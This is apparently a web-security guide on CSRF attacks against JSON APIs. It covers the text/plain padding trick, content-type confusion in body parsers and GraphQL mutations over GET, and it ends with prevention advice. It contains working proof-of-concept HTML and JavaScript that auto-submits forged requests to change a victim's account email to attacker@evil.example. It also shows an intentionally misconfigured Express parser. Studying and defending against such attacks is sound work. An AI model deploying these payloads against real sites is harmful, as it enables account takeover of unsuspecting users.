JSON, text/plain, and GraphQL
Smuggling a JSON document through enctype="text/plain", content-type confusion in body parsers, and GraphQL over GET and form encodings.
The premise teams rely on, and why it leaks
A very common belief: "our API only accepts application/json, and a form cannot send that, so we are not CSRF-able."
The first half is sound. application/json is not one of the three CORS-safelisted content types, so a fetch that sets it preflights, and a form cannot emit it at all. If the server genuinely requires application/json, that is a real defence.
The leak is in the word requires. The belief holds only if the server rejects everything else. In practice a great many body parsers are configured to parse whatever arrives:
express.json({ type: '*/*' })— parses every request body as JSON regardless of the header.- Flask's
request.get_json(force=True)— same, by name. - Any hand-rolled
JSON.parse(rawBody)in a handler. - Spring's
@RequestBodywhen the endpoint declares noconsumes. - Frameworks that fall back to a permissive parser when the header is unrecognised.
Against any of those, text/plain gets a JSON document through with no preflight and full cookies. The rest of this guide is how.
The text/plain padding trick
A form with enctype="text/plain" writes each field as name=value, separated by CRLF, with no encoding whatsoever — no percent-encoding, no quoting. That verbatim behaviour is what makes it useful: you can put arbitrary characters, including a complete JSON document, into the body.
The obstacle is the = the browser inserts between the name and the value. Left unhandled it lands in the middle of your JSON and breaks the parse.
The fix is to cut the finished JSON document in two at a point where a stray = is harmless — inside a string value — and put the two halves in the field's name and value. The standard construction appends a throwaway key whose value is an empty string, then splits between that value's two quotes. The = lands inside the throwaway string and the document parses cleanly.
So for {"email":"attacker@evil.example"} you emit one input:
- name:
{"email":"attacker@evil.example","_":" - value:
"}
and the browser writes {"email":"attacker@evil.example","_":"="} — valid JSON, with a harmless extra key. Pick a padding key the application does not use; if _ is taken, use __.
The PoC
<!doctype html>
<html>
<body>
<!-- Every double quote in the field name is HTML-escaped as ". Miss
one and the markup itself breaks; escape them twice and the literal
text " ends up in the request body. This is the fiddliest part
of writing the PoC by hand -- the generator on /poc does it and the
build fails if it ever stops round-tripping. -->
<form id="poc" action="https://api.example/account" method="POST"
enctype="text/plain">
<input type="hidden"
name="{"email":"attacker@evil.example","_":""
value=""}" />
</form>
<script>document.getElementById('poc').submit()</script>
</body>
</html>What arrives at the server
POST /account HTTP/1.1
Host: api.example
Cookie: session=eyJ1c2VyIjoidmljdGltIn0
Content-Type: text/plain
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
{"email":"attacker@evil.example","_":"="}
# No preflight happened -- text/plain is CORS-safelisted, so the browser sent
# this directly. The cookie is attached. The body is valid JSON.
#
# A server that checks the Content-Type answers 415 here and is safe.
# A server that just parses the body accepts an account takeover.Verifying the endpoint is actually reachable
Before building the PoC, establish that the server will parse a text/plain body at all. This takes one request and saves a lot of time:
- Take a legitimate request in your proxy.
- Change
Content-Type: application/jsontoContent-Type: text/plain. Change nothing else. - Replay it.
- Same success response — the parser ignores the content type. The attack is on.
415 Unsupported Media Type— the content type is enforced. Move on.400— ambiguous. The parser may have tried and failed for an unrelated reason; check the error body.
Also try multipart/form-data and application/x-www-form-urlencoded in the same way. Some frameworks accept a form-encoded body for a JSON endpoint through model binding, which is easier to exploit than the padding trick and is the same class of bug. See Method and Content-Type Switching.
Remember that the cookie still has to arrive. This trick defeats the content type defence, not SameSite — pair it with a shape from the live rows in CSRF in 2026.
GraphQL
<!-- Many GraphQL servers accept queries over GET with the query in the query
string. If mutations are permitted over GET -- and several server
implementations allow it, some by default -- this is a top-level
navigation, so it carries a Lax cookie and works in every browser.
Test this first. It is the shortest path and it needs no body encoding
tricks at all. -->
<script>
location = 'https://api.example/graphql?query=' +
encodeURIComponent('mutation{updateEmail(email:"attacker@evil.example"){id}}')
</script>Prevention
const express = require('express')
const app = express()
// Parses EVERY body as JSON regardless of the declared content type. This
// single option re-opens the text/plain vector on an API that would otherwise
// have been unreachable from a form.
//
// It is usually added to work around a client that sends the wrong header --
// fix the client instead.
app.use(express.json({ type: '*/*' }))
app.post('/account', (req, res) => {
updateEmail(req.session.userId, req.body.email)
res.json({ ok: true })
})Checklist
- Reject, do not merely prefer, the expected content type. Answer
415for anything else on state-changing routes. - Never configure a catch-all body parser.
type: '*/*',force=True, and hand-rolledJSON.parseof the raw body are the three spellings of this bug. - Disable mutations over GET in GraphQL, and disable GET queries entirely if you can. Check your server's default — several allow it.
- Do not treat "we use JSON" as the CSRF defence. It is a useful layer, but it fails to a single misconfigured parser. Keep a token underneath it.
- Test the content-type swap on every state-changing endpoint as a matter of routine — it is one replayed request and it is the whole finding.
Related
The urlencoded and multipart form: the only primitive that issues a cross-site request with a body, ambient credentials, and no preflight.
CORS gates reading, not sending. Simple versus preflighted requests, opaque responses, and why write-without-read is enough for CSRF.
mode: 'no-cors', credentials: 'include', the safelisted-header guard, and the opaque response.
GET and POST routing, _method and X-HTTP-Method-Override, and body parsers that ignore the declared content type.
Sec-Fetch-Site, Mode and Dest, Origin checks done correctly, the missing-header decision, and Resource Isolation Policy.
csurf is deprecated and archived, csrf-csrf as the replacement, and the body-parser settings that reopen the text/plain vector.